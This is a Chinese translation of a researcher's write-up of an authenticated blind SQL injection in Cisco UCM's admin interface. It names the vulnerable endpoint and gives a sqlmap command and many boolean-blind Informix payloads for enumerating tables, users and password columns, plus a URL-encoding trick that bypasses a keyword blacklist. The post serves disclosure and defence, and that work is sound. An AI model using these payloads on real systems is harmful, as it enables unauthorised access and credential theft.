Cisco UCM软件中的SQL注入
介绍
近期,有名客户希望升级他们的Cisco UCM软件,并希望确保产品设置是安全的,因此需要我们进行安全评估。而在这过程中,我们在Cisco UCM的管理员界面发现了一个需要身份验证的SQL注入漏洞。一般来说,SQLMap可以自动帮助我们进行后续渗透。
在得到客户许可后,我使用了如下SQLMap命令:
root@kali~# sqlmap --level=5 --risk=3 -r request.txt
而txt文件的内容如下:
GET /ccmadmin/userGroupFindList.do?searchLimVal3=&searchLimVal4
=&whereClause=1*&searchLimVal1=&searchLimVal2=&searchLimVal7=&s
earchLimVal8=&searchLimVal5=&searchLimVal6=&rowsPerPageControl
=/ccmadmin/userGroupFindList.do?lookup=true&colCnt=4&searchLimV
al0=&lookup=true&rowsPerPage=50&searchLimVal9=&pageNumber=1&rec
Cnt=37&multiple=true HTTP/1.1
Host: <cucm_admin_portal>
Cookies: JSESSIONID=<jsessionid_data>; com.cisco.ccm.admin.serv
lets.RequestToken.REQUEST_TOKEN_KEY=<cisco_data>; JSESSIONIDSSO
=<jsessionidsso_data>
Accept: text/html
Connection: close
在SQLMap运行完后,我得到了一个数据库:Informix SQL
,使用的是布尔盲注。不过SQLMap也并不是全能的:
SQLMap能够枚举当前表的名称,但无法枚举其他数据库名称和其他表名称
SQLMap能够枚举当前SQL用户名,也发现了还有1000多个用户,但无法枚举其他999个用户
SQLMap无法获得
applicationuser
表中和用户密码相关的任何信息
下面将演示如何确定上述每个问题的根源以及如何解决这些问题。
了解Informix
在开始之前,我们需要更详细的了解Informix SQL
。
以下是对于systables
表的简单介绍:
systables
表中有所有其他表的信息记录systables
表中的不同列表示不同的信息,例如tabname
列表示特定表的名称,tabid
列表示特定表的ID号其他列包括
ncols
表示表的列数,nrows
表示表的行数
我们假设有一个表名为yaytableyay
。要找出tabid
,则可以使用以下查询语句:
SELECT tabid FROM systables WHERE tabname = ‘yaytableyay’
#Returned 54
如果想要找到yaytableyay
表的行数,可以进行以下查询:
SELECT nrows FROM systables WHERE tabid = 54
#Returned 15
其次是关于syscolumns
表的快速教程:
其中保留每个表中所有列信息
syscolumns
中的不同列表示不同的信息,例如colname
表示特定列的名称,tabid
表示列被分配给哪个表其他信息例如
colno
,表示系统从左到右按顺序分配的值
如果我们想找出yaytableyay
表中第一列的名称:
SELECT colname FROM syscolumns WHERE tabid = 54 AND colno = 1
#returned "yaycolumnnameyay"
此外,每个表都有一个名为rowid
的隐藏列。其中值分配给表中的每一行,但在行被删除时不删除。例如,下面的查询由于行被提前删除而没有返回任何数据:
SELECT * FROM yaytableyay WHERE rowid = 1337
#Returned 0 results
当然这行可能根本就不存在。对于使用者来说这两种情况很难区分。
枚举其他表名
要解决SQLMap的问题,最好先抓取流量进行观察。我们发现每当SQLMap枚举其他表名和数据库名时,总会出现以下错误之一:
ERROR: A subquery has returned not exactly one row.
ERROR: "NVL" cannot be used in a query
ERROR: "RTRIM" cannot be used in a query
ERROR: "LIMIT" cannot be used in a query
ERROR: "LENGTH" cannot be used in a query
第一个错误“not exactly one row”似乎是和Informix本身有关。其他错误似乎是受到思科UCM自身安全限制的影响。为此我们需要自定义脚本来解决这个问题。
为了枚举出每个表,我们需要:
计算数据库中有多少个有效表
逐字母列举每个表名
枚举每个表中有多少行和列
为了确定有多少个有效的表,我们需要使用tabid
。具体来说,我们用以下语句执行了一些“大于”和“小于”的操作:
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1
如果每个表名的tabid
大于1,则将返回每个表名的第一个字母的ASCII值。当然这会返回多个结果,服务器也会响应“Result is more than 1 column”,但是这也证明了某些东西的存在。为了进一步说明:
1=1 AND (SELECT ascii(substring(tabname for 1 from 1)) FROM systables WHERE tabid > 100) > 1
现在,我们寻找tabid
大于100的表。如果一个表不存在,那么服务器将不响应任何数据。
借此我们可以枚举有多少表在数据库中:
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 100) > 1
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 50) > 1
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 75) > 1
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 65) > 1
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 74) > 1
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 75) > 1
#returned no data
现在,我们可以确定当前数据库中的表有75个。
接下来,还需要获得表名。利用ASCII函数仍然是一种选择,我们可以使用类似的逻辑来得到表的数量。下面的语句将确定第一个表名的第一个字母的ASCII值是否大于64:
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64
而通过一系列相关语句,我们就可以枚举出第一个字母是什么:
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 96
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 112
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 104
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 100
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 102
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) = 101
#returned some data
基于以上所述,第一个表的第一个字母的ASCII值101,也就是e
。
接下来瞄准下一个字符:
把
tabname from 1 for 1
替换为
tabname from 2 for 1
很快我们就可以枚举出第二个字母是m
。
我们假设最后的得到的表名为empire
,其余的表名可以使用此方法枚举。
在得到表名后,我们开始获取列的数据。
首先计算出empire
中有多少列:
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 1
#returned no data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 2
#returned no data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 3
#returned no data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 4
#returned some data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 5
#returned no data
接下来查询出empire
表中第一列的名称:
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 64
#returned some data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 96
#returned no data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 80
#returned no data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 72
#returned some data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 76
#returned no data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 74
#returned some data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) = 73
#returned some data
枚举其他SQL用户
当SQLMap试图枚举其他SQL用户时,会涉及sysusers
表。与本文上述内容类似,当SQLMap试图枚举其他用户时,服务器也会返回错误。
在前一节中,我们介绍了如何枚举表。在查找了sysusers
表的组织结构之后,发现不可以套用类似方法。根据官方文档,sysusers
表的列有:
- username
- usertype
- priority
- password
- defrole
此时,我们需要使用隐藏列rowid
作为SQL查询的WHERE
部分。下面语句用于枚举第一个用户名的第一个字母的ASCII值,此时rowid
为1:
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 1) > 1
#returned data
在枚举第一个用户名之后,我们可以继续用rowid
值枚举其他用户名:
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 2) > 1
#returned data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 3) > 1
#returned data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 4) > 1
#returned data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5) > 1
#returned data
有趣的是,当rowid
值达到5000,不会返回数据,而5002又会返回数据。
为了解决这个问题,可以使用systables
表中的nrows
列。因为nrows
的值是根据表中非空行的数目确定的。
下面查询可以确定sysusers
表的行数:
1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) > 1
#returned some data
最后我们可以确定sysusers
表中的行数为1000:
1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) = 1000
#returned data
接下来使用rowid
和ncols
来枚举sysusers
表中的所有用户名。逐步增加rowid
值,配合每次进行循环查询,当返回数据时,再将ncols
的值减少1:
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5000) > 1
#returned no data, ncols value is at 444
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5001) > 1
#returned no data, ncols value is at 444
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5002) > 1
#returned data, ncols value is at 443
...
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7850) > 1
#returned data, ncols value is at 2
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1
#returned data, ncols value is at 1
由于现已有了一组已知的行id和非空行,我们现在可以更快速地枚举出用户名。
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1
#returned data
枚举用户密码
如前所述,sysusers
表中有名为password
的数据。此外我们还发现了Cisco UCM软件利用applicationuser
表来存储与Cisco UCM软件相关的用户,其中也包含一个password
。
利用前面所讨论的技术,我们可以枚举出整个app_users
表,相关语句如下:
1=1 AND (SELECT ascii(substring(password from 1 for 1)) FROM applicationuser WHERE rowid = 500) > 1
#returned error “Security Exception”
这是一个奇怪的错误信息,谷歌上信息很少。经过一些测试后,我确定服务器只会在尝试枚举任何表中的password
列时回复该错误。基于这种行为,我们认为这是应用中的黑名单进行了拦截。
所以我需要通过URL编码绕过这个限制!
1=1 AND (SELECT ascii(substring(%70%61%73%73%77%6f%72%64 from 1 for 1)) FROM app_users WHERE rowid = 500) > 1
#returned data
自定义脚本
由于无法直接使用SQLMap来解决这个问题,因此我们使用两个脚本来解决这个问题。
sql_injection_enumerate_tables.py
——枚举出数据库中每个表的名称,并将它们存储在名为cisco_tables.txt
文件中。
sql_injection_extract_table.py
——读取cisco_tables
文件中的名称并枚举每个条目的内容
这两个脚本都不会自动对特定单词进行URL编码,比如password
,建议通过BurpSuite或其他代理工具实现。
补丁
这篇文章中的技术可攻击思科UCM版本11.5.1.14900-11的数据库,目前思科正在研发补丁。
引用
https://labs.f-secure.com/advisories/cisco-ucm-informix-sql-injection
https://github.com/FSecureLABS/Cisco-UCM-SQLi-scripts
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://labs.f-secure.com/blog/uncommon-sql-databa se-alert-informix-sql-injection
最新评论